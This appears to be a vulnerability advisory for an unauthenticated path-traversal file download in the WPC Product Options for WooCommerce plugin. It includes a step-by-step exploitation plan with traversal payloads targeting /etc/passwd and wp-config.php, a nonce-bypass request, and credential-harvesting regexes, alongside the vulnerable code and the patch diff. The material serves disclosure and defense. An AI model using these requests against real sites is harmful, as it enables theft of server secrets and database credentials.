WPC Product Options for WooCommerce <= 3.2.1 - Unauthenticated Arbitrary File Download
Description
The WPC Product Options for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.2.1. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.2.1What Changed in the Fix
Changes introduced in v3.2.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal) ## 1. Vulnerability Summary The **WPC Product Options for WooCommerce** plugin (versions <= 3.2.1) is vulnerable to an **Unauthenticated Arbitrary File Download** via Path Traversal. The vulnerability exists in the `p…
Show full research plan
Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal)
1. Vulnerability Summary
The WPC Product Options for WooCommerce plugin (versions <= 3.2.1) is vulnerable to an Unauthenticated Arbitrary File Download via Path Traversal. The vulnerability exists in the process_file_link method of the Wpcpo_Cart class. The plugin allows users to add custom data to cart items, including file paths intended for legitimate file uploads. However, the plugin fails to validate these paths when processing a download request and, in the case of order-related downloads, fails to properly verify security nonces.
2. Attack Vector Analysis
- Vulnerable Endpoint: Any frontend page (the function is hooked to the
wpaction). - Vulnerable Parameters:
wpcpo-key,wpcpo-cart-item(for cart items) orwpcpo-order-item(for order items). - Authentication: None required (unauthenticated).
- Preconditions:
- WooCommerce must be active.
- An attacker must be able to add an item to the cart with a manipulated
fileattribute in thewpcpo-optionsarray. - For the "Cart" path, a nonce
wpcpo_cart_fileis required. - For the "Order" path, a nonce is required but not verified, only checked for existence.
3. Code Flow
The vulnerability is located in includes/class-cart.php:
- Entry Point: The
Wpcpo_Cartconstructor registersprocess_file_linkto thewphook:add_action( 'wp', [ $this, 'process_file_link' ] ); - Order Download Path (The "Zero-Auth" Path):
- The function checks
isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ). - CRITICAL BUG: It checks
isset($_GET['_wpnonce'])but never callswp_verify_nonce()for theorder-itemblock. - It retrieves metadata:
$options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ). - It extracts the path:
$tmp_file_name = $options[ $file_key ]['file'];. - It passes this directly to the sink:
readfile( $tmp_file_name );.
- The function checks
- Cart Download Path:
- The function verifies a nonce:
wp_verify_nonce( $_GET['_wpnonce'], 'wpcpo_cart_file' ). - It retrieves the path from the current session:
$tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];. - Sink:
readfile( $tmp_file_name );.
- The function verifies a nonce:
The core issue is that the file attribute in wpcpo-options (stored in cart session or order meta) is populated via add_cart_item_data without path validation, allowing traversal strings like ../../../../wp-config.php.
4. Nonce Acquisition Strategy
Cart Path (wpcpo_cart_file)
If using the cart-based exploitation (no checkout required):
- Identify Trigger: The nonce is generated when a cart item with a file option is displayed.
- Shortcode/Page: Navigate to the WooCommerce Cart page (
/cart/). - Extraction: The plugin uses
woocommerce_get_item_datato render option details. If an item has a "file" option, it generates a download link. - Browser Eval: Use
browser_evalon the Cart page to extract the nonce from thehrefof the download link.browser_eval("document.querySelector('a[href*=\"wpcpo-cart-item\"]').href")
Order Path (Bypass)
The Order path in process_file_link is fundamentally broken:
if ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {
// ... logic follows without calling wp_verify_nonce()
}
No valid nonce is required. Any value (e.g., _wpnonce=1) will satisfy the isset check.
5. Exploitation Strategy
Phase 1: Inject Malicious Path into Cart
Perform a POST request to add a product to the cart while injecting the traversal path.
- Target: A product page (e.g.,
/?product=test-product) or/?add-to-cart=ID. - Parameters:
add-to-cart:[PRODUCT_ID]wpcpo-options[wpcpo-exploit][file]:../../../../../../../../../../etc/passwdwpcpo-options[wpcpo-exploit][url]:1(required to trigger theissetcheck inprocess_file_link)wpcpo-options[wpcpo-exploit][value]:exploit.txt
Phase 2: Retrieve Download Credentials
Navigate to /cart/ to get the wpcpo-cart-item key (a MD5 hash generated by WooCommerce) and the _wpnonce.
- Use
http_requestto GET/cart/. - Regex for the download link:
\?wpcpo-key=([^&]+)&wpcpo-cart-item=([^&]+)&_wpnonce=([^&"]+).
Phase 3: Trigger Arbitrary Download
Construct the final request.
- URL:
/?wpcpo-key=[KEY]&wpcpo-cart-item=[CART_ITEM_KEY]&_wpnonce=[NONCE] - Expected Response: Contents of
/etc/passwd.
6. Test Data Setup
- Create Product: Use WP-CLI to create a simple product.
wp post create --post_type=product --post_title="Exploit Target" --post_status=publish
- Enable WPC Options: (Optional) The plugin usually requires a "File Upload" field to be configured for a product, but if the
add_cart_item_datafilter is globally active, it may acceptwpcpo-optionsPOST data regardless of backend configuration. - Identify Product ID: Get the ID of the created product via
wp post list --post_type=product.
7. Expected Results
- The
process_file_linkfunction will execute because thewpcpo-keyandwpcpo-cart-item(ororder-item) parameters are present. - The
isset(WC()->cart->cart_contents[...])check will pass because we populated the cart via POST. - The
readfile()function will be called with the path../../../../../../../../../../etc/passwd. - The HTTP response will contain the sensitive file content with
Content-Type: application/octet-stream(or inferred mime type).
8. Verification Steps
- Check Cart Content: Use WP-CLI to verify the injected data exists in the session (if possible) or simply verify the HTTP response body.
- Order Meta Verification: If testing the Order path, use WP-CLI to check if the malicious path was saved:
wp post meta list [ORDER_ITEM_ID](Note: Order items are in thewoocommerce_order_itemstable).
9. Alternative Approaches
If add_cart_item_data filters/sanitizes the file key, attempt the Order path by completing a checkout:
- Add to cart as above.
- Complete checkout at
/checkout/(use "Check payments" or a free product). - Find the
order_item_idfrom the "Order Received" page. - Trigger:
/?wpcpo-key=wpcpo-exploit&wpcpo-order-item=[ID]&_wpnonce=anyvalue. - This bypasses the
wp_verify_noncerequirement entirely.
Summary
The WPC Product Options for WooCommerce plugin is vulnerable to unauthenticated arbitrary file download due to a path traversal flaw in the `process_file_link` function. Attackers can inject arbitrary file paths into cart item metadata and subsequently trigger a download, potentially accessing sensitive server files like `wp-config.php`.
Vulnerable Code
// includes/class-cart.php line 62 (Cart download block) if ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) { $file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value']; $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file']; // ... (mime type logic) header( "Content-Length: " . filesize( $tmp_file_name ) ); readfile( $tmp_file_name ); exit(); } --- // includes/class-cart.php line 105 (Order download block) if ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) { // Note: No wp_verify_nonce call here if ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) { $file_name = $options[ $file_key ]['value']; $tmp_file_name = $options[ $file_key ]['file']; // ... (mime type logic) header( "Content-Length: " . filesize( $tmp_file_name ) ); readfile( $tmp_file_name ); exit(); } } --- // includes/class-cart.php line 275 (Data ingestion - inferred from patch) } else { $post_options[ $key ] = $data; }
Security Fix
@@ -60,7 +60,13 @@ if ( isset( WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['url'] ) ) { $file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['value']; $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file']; - $mime_type = false; + + // Security: validate the file path is within the uploads directory + if ( ! $this->validate_file_path( $tmp_file_name ) ) { + wp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 ); + } + + $mime_type = false; if ( function_exists( 'finfo_open' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); @@ -108,7 +114,13 @@ if ( ( $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ) ) && isset( $options[ $file_key ] ) ) { $file_name = $options[ $file_key ]['value']; $tmp_file_name = $options[ $file_key ]['file']; - $mime_type = false; + + // Security: validate the file path is within the uploads directory + if ( ! $this->validate_file_path( $tmp_file_name ) ) { + wp_die( esc_html__( 'Invalid file path.', 'wpc-product-options' ), 403 ); + } + + $mime_type = false; if ( function_exists( 'finfo_open' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); @@ -275,7 +287,9 @@ } } } else { - $post_options[ $key ] = $data; + // Security: sanitize option data - strip keys that should only come from file uploads + unset( $data['file'], $data['url'], $data['file_url'] ); + $post_options[ $key ] = wc_clean( $data ); } if ( apply_filters( 'wpcpo_clear_request_data', true, $cart_item_data, $product_id ) ) { @@ -311,6 +325,38 @@ return $upload; } + /** + * Validate that a file path is within the WordPress uploads directory. + * Prevents arbitrary file read attacks via path traversal. + * + * @param string $file_path The file path to validate. + * + * @return bool True if the path is valid and within uploads directory. + */ + private function validate_file_path( $file_path ) { + if ( empty( $file_path ) || ! is_string( $file_path ) ) { + return false; + } + + // Resolve the real path to prevent directory traversal (../ etc.) + $real_path = realpath( $file_path ); + + if ( false === $real_path ) { + return false; + } + + // The file must be within the WordPress uploads directory + $upload_dir = wp_upload_dir(); + $upload_base = realpath( $upload_dir['basedir'] ); + + if ( false === $upload_base ) { + return false; + } + + // Ensure the resolved path starts with the upload base directory + return str_starts_with( $real_path, $upload_base . DIRECTORY_SEPARATOR ); + }
Exploit Outline
The exploit involves three steps: 1) Injecting a malicious file path by adding a product to the WooCommerce cart via a POST request. The attacker includes a `wpcpo-options` parameter where the `file` sub-key contains a traversal string (e.g., `../../wp-config.php`). 2) Identifying the target endpoint. For the 'Order' path, the attacker can proceed to checkout or use a known order item ID. This path is particularly vulnerable because it checks for the presence of a `_wpnonce` but does not actually verify it. 3) Triggering the download by sending a GET request to the site root with parameters `wpcpo-key` (set during injection), `wpcpo-order-item` (the item ID), and a dummy `_wpnonce`. The server will then serve the file specified in the injected metadata using the `readfile()` function.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.